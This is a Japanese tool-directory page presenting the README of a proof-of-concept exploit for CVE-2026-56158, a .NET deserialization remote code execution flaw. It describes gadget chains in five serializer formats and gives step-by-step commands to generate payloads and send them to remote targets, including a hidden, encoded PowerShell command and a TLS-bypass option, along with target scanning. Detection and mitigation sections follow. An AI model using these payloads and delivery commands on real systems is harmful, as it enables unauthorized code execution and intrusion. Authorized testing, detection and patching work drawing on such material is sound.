Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit — CVE-2026-56158 向けに 5 種類の .NET デシリアライゼーション ペイロード形式を生成し、HTTP/SOAP/JSON エンドポイント経由で配信します。モックサーバー、スキャナー、JSON レポート出力も含まれます。 | Kitploit
ツール/GitHubGitHub/sam00/cve-2026-56158-.net-framework-rce-poc-exploit
脆弱性スキャナーペイロード生成静的コード分析 (SAST)脆弱性分析エクスプロイトウェブアプリケーション悪用ペイロード開発
GitHubsam00/cve-2026-56158-.net-framework-rce-poc-exploit

CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit

CVE-2026-56158 向けに 5 種類の .NET デシリアライゼーション ペイロード形式を生成し、HTTP/SOAP/JSON エンドポイント経由で配信します。モックサーバー、スキャナー、JSON レポート出力も含まれます。

リポジトリを見る
191ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-56158 — .NET Framework リモートコード実行(RCE)PoC エクスプロイト

深刻(CVSS 9.8) — Microsoft .NET Framework & .NET Runtime における信頼されないデータの逆シリアル化(CWE-502) 修正日: 2026年7月14日 | 発見者: Positive Technologies (PT-2026-60174)


目次

  • 概要
  • 脆弱性の詳細
  • 影響を受けるバージョン
  • 攻撃ベクトル
  • エクスプロイトのアーキテクチャ
  • ファイル構成
  • インストール
  • ステップバイステップの使用方法
  • テスト
  • 検出とハードニング
  • 緩和策
  • 参考情報
  • 免責事項
  • ライセンス

概要

CVE-2026-56158 は、Microsoft .NET Framework および .NET ランタイムにおける重大なリモートコード実行の脆弱性です。この欠陥は、信頼されないデータの安全でない逆シリアル化(CWE-502)に存在します — .NET アプリケーションがレガシーシリアライザー(BinaryFormatter、NetDataContractSerializer、SoapFormatter、)または を有効にした Json.NET を使用する場合、認証されていないリモート攻撃者が細工したシリアル化ペイロードを送信し、逆シリアル化時に任意のコード実行を引き起こす可能性があります。

ObjectStateFormatter
TypeNameHandling.All/Auto

この脆弱性は、ベクター AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H を持つ CVSS 3.1 基本スコア 9.8(Critical) を有しており、以下のことを意味します:

  • 攻撃ベクトル: ネットワーク(物理的なアクセスは不要)
  • 攻撃の複雑さ: 低
  • 必要な権限: なし
  • ユーザー操作: 不要
  • 影響: 機密性、完全性、可用性の完全な侵害

Microsoft は、毎月の Patch Tuesday サイクルの一環として、2026年7月14日 にセキュリティ更新プログラムをリリースしました。


脆弱性の詳細

フィールド値
CVE IDCVE-2026-56158
タイトル.NET Framework リモートコード実行の脆弱性
CVSS 3.19.8 Critical(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVSS 2.07.5 High(AV:N/AC:L/Au:N/C:P/I:P/A:P)
CWECWE-502(信頼されないデータの逆シリアル化)
公開日2026年7月14日
修正日2026年7月14日
発見者Positive Technologies(PT-2026-60174)
EPSS未スコア
CISA KEV未掲載

根本原因

.NET ランタイムのレガシーシリアライザーは、型や内容を検証せずにシリアル化されたストリームから任意のオブジェクト型を再構築します。攻撃者がシリアル化入力を制御できる場合、逆シリアライザーを誘導して、コンストラクター、コールバック、またはプロパティセッターが任意のコードを実行する予期しない型をインスタンス化させることができます — 典型的な逆シリアル化ガジェットチェーン攻撃です。

この脆弱性は、複数のシリアル化メカニズムに影響します:

  1. BinaryFormatter — 型メタデータを含むバイナリストリーム。TypeConfuseDelegate ガジェットチェーンが Process.Start に委任
  2. NetDataContractSerializer — .NET 型情報を含む XML 形式。直接の型インスタンス化を許可
  3. SoapFormatter — CLR 型参照を含む SOAP XML エンベロープ。SOAP ボディに ProcessStartInfo を埋め込み
  4. ObjectStateFormatter — ASP.NET ViewState バイナリ形式。ViewState フィールド経由の Process.Start
  5. Json.NET (Newtonsoft.Json) — TypeNameHandling.All/Auto が有効な場合の $type メタデータを含む JSON。ObjectDataProvider ガジェットが Process.Start を呼び出し

影響を受けるバージョン

製品影響を受ける範囲修正バージョンKB 記事
.NET 8.08.0.0 – 8.0.288.0.29KB5100998
.NET 9.09.0.0 – 9.0.179.0.18KB5100998
.NET 10.010.0.0 – 10.0.910.0.10KB5101001
.NET Framework 3.5パッチ適用前のすべて修正済みKB5100985
.NET Framework 4.6.2–4.7.2パッチ適用前のすべて修正済みKB5100991
.NET Framework 4.8パッチ適用前のすべて修正済みKB5101011
.NET Framework 4.8.1パッチ適用前のすべて修正済みKB5101002
Visual Studio 2022 (17.12)パッチ適用前17.12.x—
Visual Studio 2022 (17.14)パッチ適用前17.14.x—
Visual Studio 2026 (18.7)パッチ適用前18.7.x—

Alpine Linux パッケージ:

  • dotnet8-runtime < 8.0.29-r0
  • dotnet9-runtime < 9.0.18-r0
  • dotnet10-runtime < 10.0.10-r0

攻撃ベクトル

この PoC エクスプロイトは、5種類の異なる逆シリアル化攻撃形式 でペイロードを生成・配信します:

1. BinaryFormatter(TypeConfuseDelegate ガジェット)

root@kitploit:~
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
  → Process.Start("cmd.exe", "/c calc.exe") → RCE
  • 形式: バイナリ(.NET シリアル化ストリーム)
  • Content-Type: application/octet-stream
  • 配信方法: HTTP POST ボディ、ファイル
  • ガジェット: ActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.Start

2. NetDataContractSerializer

root@kitploit:~
XML with type info → NetDataContractSerializer.ReadObject()
  → ProcessStartInfo instantiation → Process.Start → RCE
  • 形式: .NET 型情報が埋め込まれた XML
  • Content-Type: application/octet-stream または text/xml
  • 配信方法: HTTP POST ボディ、WCF エンドポイント

3. SoapFormatter

root@kitploit:~
SOAP envelope → SoapFormatter.Deserialize()
  → ProcessStartInfo in SOAP body → Process.Start → RCE
  • 形式: CLR 型参照を含む SOAP XML エンベロープ
  • Content-Type: text/xml
  • 配信方法: WCF/ASMX SOAP エンドポイント

4. ObjectStateFormatter(ViewState)

root@kitploit:~
ViewState binary → ObjectStateFormatter.Deserialize()
  → Process.Start via ViewState field → RCE
  • 形式: バイナリ(ASP.NET ViewState 形式)
  • Content-Type: application/octet-stream
  • 配信方法: HTTP POST の __VIEWSTATE フィールド

5. Json.NET(TypeNameHandling.All)

root@kitploit:~
JSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
  → ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
  • 形式: $type メタデータを含む JSON
  • Content-Type: application/json
  • 配信方法: TypeNameHandling.All または Auto を使用する REST API エンドポイント

エクスプロイトのアーキテクチャ

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                         exploit.py                                   │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌──────────────┐   ┌───────────────┐   ┌───────────────────────┐  │
│  │ PayloadGen   │   │ PayloadDeliv  │   │ VulnerabilityScanner  │  │
│  │              │   │               │   │                       │  │
│  │ • BinaryFmt  │   │ • HTTP POST   │   │ • HTTP header check   │  │
│  │ • NetData    │──▶│ • SOAP/WCF   │──▶│ • Endpoint discovery  │  │
│  │ • SoapFmt    │   │ • JSON API    │   │ • ViewState analysis  │  │
│  │ • ObjectState│   │ • File save   │   │ • Version detection   │  │
│  │ • Json.NET   │   │               │   │                       │  │
│  └──────────────┘   └───────────────┘   └───────────────────────┘  │
│         │                   │                      │                 │
│         └───────────────────┼──────────────────────┘                 │
│                             ▼                                        │
│  ┌──────────────┐   ┌──────────────────────────────────────────┐   │
│  │ PayloadList  │   │ Report Generator (JSON)                   │   │
│  │ (Mock .NET)  │   │ • CVE metadata, CVSS, CWE                │   │
│  │              │   │ • Payload hashes (SHA-256)               │   │
│  │ Simulates    │   │ • Delivery results                       │   │
│  │ vulnerable   │   │ • RCE confirmation                       │   │
│  │ deserialization│ │ • References                             │   │
│  └──────────────┘   └──────────────────────────────────────────┘   │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

攻撃フロー

root@kitploit:~
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
         Content-Type: application/octet-stream
         Body: [BinaryFormatter payload]
                                             │
                                             ▼
                                   BinaryFormatter.Deserialize()
                                   (no type validation)
                                             │
                                             ▼
                                   TypeConfuseDelegate invoked
                                             │
                                             ▼
                                   Process.Start("cmd.exe", "/c calc.exe")
                                             │
                                             ▼
                                   calc.exe spawns → RCE CONFIRMED

Mermaid ダイアグラム

root@kitploit:~
graph TD
    A[Attacker] --> B[PayloadGenerator]
    B --> B1[BinaryFormatter]
    B --> B2[NetDataContractSerializer]
    B --> B3[SoapFormatter]
    B --> B4[ObjectStateFormatter]
    B --> B5[Json.NET]

    B1 --> C1[TypeConfuseDelegate Gadget]
    B2 --> C2[ProcessStartInfo XML]
    B3 --> C3[SOAP ProcessStartInfo]
    B4 --> C4[ViewState Process.Start]
    B5 --> C5[ObjectDataProvider Gadget]

    C1 --> D[PayloadDelivery]
    C2 --> D
    C3 --> D
    C4 --> D
    C5 --> D

    D --> E1[HTTP POST]
    D --> E2[SOAP Endpoint]
    D --> E3[JSON API]
    D --> E4[File]

    E1 --> F[.NET Runtime < 8.0.29]
    E2 --> F
    E3 --> F
    E4 --> F

    F --> G[Unsafe Deserialization - No Type Validation]
    G --> H[Gadget Chain Executes]
    H --> I[Process.Start - RCE]
    I --> J[Arbitrary Code Execution]

    subgraph "Vulnerable Components"
        F
        G
    end

    subgraph "Exploit Chain"
        H
        I
        J
    end

ファイル構成

root@kitploit:~
CVE-2026-56158/
├── exploit.py          # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py           # Detection & hardening checker
├── test_exploit.py     # Unit tests (74 tests)
├── e2e_test.py         # End-to-end validation tests (37 tests)
├── README.md           # This file — GitHub description page
├── USAGE.md            # Detailed step-by-step usage guide
├── DIAGRAM.md          # Architecture & attack flow diagrams
├── package.json        # Project metadata
├── LICENSE             # MIT License
└── .gitignore          # Git ignore rules

インストール

前提条件

  • Python 3.8+(標準ライブラリのみ — 外部依存関係なし)
  • ターゲット: 安全でない逆シリアル化を使用する .NET アプリケーション(実際の使用時)
  • テストに .NET のインストールは不要(モックサーバー付属)

クローン

root@kitploit:~
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158

ステップバイステップの使用方法

ステップ 1: ペイロードの生成

デフォルトコマンド(calc.exe)で5種類すべてのペイロード形式を生成します:

root@kitploit:~
python3 exploit.py

出力:

root@kitploit:~
[INFO] Generating deserialization payloads...
  [SUCCESS] binaryformatter: 395 bytes
  [SUCCESS] netdatacontract: 437 bytes
  [SUCCESS] soap: 716 bytes
  [SUCCESS] objectstate: 153 bytes
  [SUCCESS] jsonnet: 695 bytes

カスタムコマンドで生成する場合:

root@kitploit:~
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"

ステップ 2: モックサーバーでローカルテスト

組み込みのモック脆弱 .NET サーバーを起動し、すべてのペイロードを配信します:

root@kitploit:~
python3 exploit.py --listen

これにより、以下の処理が行われます:

  1. 脆弱な .NET エンドポイントを模擬するモック HTTP サーバーを起動
  2. 5種類すべてのペイロード形式を生成
  3. 各ペイロードをモックサーバーに配信
  4. RCE がトリガーされたことを検証(逆シリアル化 → コード実行)
  5. JSON エクスプロイテーションレポートを生成

期待される出力:

root@kitploit:~
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered

カスタムポート:

root@kitploit:~
python3 exploit.py --listen --port 8080

ステップ 3: ペイロードをファイルに保存

手動配信用に特定のペイロード形式をファイルに保存します:

root@kitploit:~
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"

# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"

# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"

ステップ 4: リモートターゲットへの配信

すべてのペイロードをリモートの .NET ターゲットに配信します:

root@kitploit:~
python3 exploit.py -u http://target:8080 -c "calc.exe"

SSL 証明書バイパスを使用する場合:

root@kitploit:~
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure

ステップ 5: 脆弱性インジケーターのターゲットスキャン

.NET バージョン、逆シリアル化エンドポイント、ViewState の問題についてターゲットをスキャンします:

root@kitploit:~
python3 exploit.py -u http://target:8080 --scan

以下の項目をチェックします:

  • .NET バージョンのインジケーターを示す HTTP レスポンスヘッダー(X-AspNet-Version、X-Powered-By)
  • 一般的な逆シリアル化エンドポイントのパス(/api/deserialize、/Service.svc など)
  • ASP.NET ViewState の保護ステータス(MAC 検証、暗号化)

ステップ 6: エクスプロイテーションレポートの生成

完全なエクスプロイト詳細を含む JSON レポートを生成します:

root@kitploit:~
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json

レポートには以下が含まれます:

  • CVE メタデータ(ID、CVSS、CWE、ベクター)
  • ペイロードの詳細(形式、サイズ、SHA-256 ハッシュ)
  • 配信結果(HTTP ステータス、レスポンス)
  • スキャン結果
  • RCE 確認ステータス
  • 参考情報

テスト

ユニットテスト(74 テスト)

root@kitploit:~
python3 test_exploit.py

テスト対象:

  • 5種類すべての形式のペイロード生成
  • カスタムコマンドインジェクション
  • Base64 エンコーディング
  • ペイロード配信(HTTP、SOAP、JSON、ファイル)
  • 脆弱性スキャナー(バージョン検出、エンドポイント発見)
  • モックリスナー(RCE 確認、形式検出)
  • レポート生成(JSON 出力、ファイル作成)
  • ペイロードの整合性(決定論的生成)
  • エッジケース(空のコマンド、複雑な引数)

エンドツーエンドテスト(37 テスト)

root@kitploit:~
python3 e2e_test.py

テスト対象:

  • 完全なエクスプロイトチェーン: 生成 → 配信 → RCE 検証
  • モックサーバーに配信される5種類すべてのペイロード形式
  • 複数の形式にわたる RCE 確認
  • ファイルベースのペイロード配信
  • 脆弱性スキャナー統合
  • エクスプロイテーションレポートの生成と検証

テスト結果

root@kitploit:~
Unit Tests:  74 passed, 0 failed
E2E Tests:   37 passed, 0 failed
Total:       111 tests passed

検出とハードニング

検出チェッカーを実行して、脆弱な .NET インストールを特定します:

root@kitploit:~
python3 detect.py

安全でない逆シリアル化パターンについてソースコードをスキャンします:

root@kitploit:~
python3 detect.py /path/to/source/code

検出ツールは以下をチェックします:

  • インストールされている .NET ランタイムバージョン(dotnet --list-runtimes 経由)
  • .NET Framework レジストリエントリ(Windows)
  • ソースコードパターン: BinaryFormatter.Deserialize、NetDataContractSerializer.ReadObject、SoapFormatter.Deserialize、ObjectStateFormatter.Deserialize、TypeNameHandling.All/Auto、LosFormatter.Deserialize

緩和策

  1. .NET ランタイム を修正済みバージョン(8.0.29+、9.0.18+、10.0.10+)に更新する
  2. Windows Update で .NET Framework を更新する(KB5100985/KB5100991/KB5101011)
  3. BinaryFormatter を System.Text.Json または厳密な型バインディングを持つ DataContractSerializer に置き換える
  4. レガシーシリアライザーが必要な場合は、SerializationBinder の許可リストを実装する
  5. AppContext スイッチを設定: Switch.System.Runtime.Serialization.UseLegacyBinaryFormatter=false
  6. ASP.NET ViewState の場合: ViewStateMac と ViewStateEncryption を有効にする
  7. Json.NET の場合: TypeNameHandling.All/Auto を避け、TypeNameHandling.None を使用する
  8. 信頼されない入力に対して SoapFormatter と NetDataContractSerializer をブロックする
  9. WDAC/AppLocker ポリシーを適用して、.NET アプリケーションからのプロセス生成を制限する
  10. dotnet.exe、devenv.exe、またはカスタム .NET ホストプロセスからの予期しない子プロセスを監視する

参考情報

  • NVD — CVE-2026-56158
  • Tenable — CVE-2026-56158
  • Snyk — SNYK-ALPINE324-DOTNET8RUNTIME-18025263
  • Microsoft — 2026年7月 累積更新プログラム
  • MSRC — CVE-2026-56158
  • Alpine Security Tracker — CVE-2026-56158
  • .NET 8.0.29 リリースノート

免責事項

この概念実証(PoC)エクスプロイトは、教育目的および許可されたセキュリティテストのみ を目的として提供されています。このツールは、自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。所有していないシステムに対する無許可の使用は違法であり、コンピュータ詐欺および悪用に関する法律に違反する可能性があります。

作者および貢献者は、本ソフトウェアによって引き起こされた誤用または損害について一切責任を負いません。


ライセンス

MIT ライセンス — 詳細は LICENSE ファイルを参照してください。

ツールをダウンロード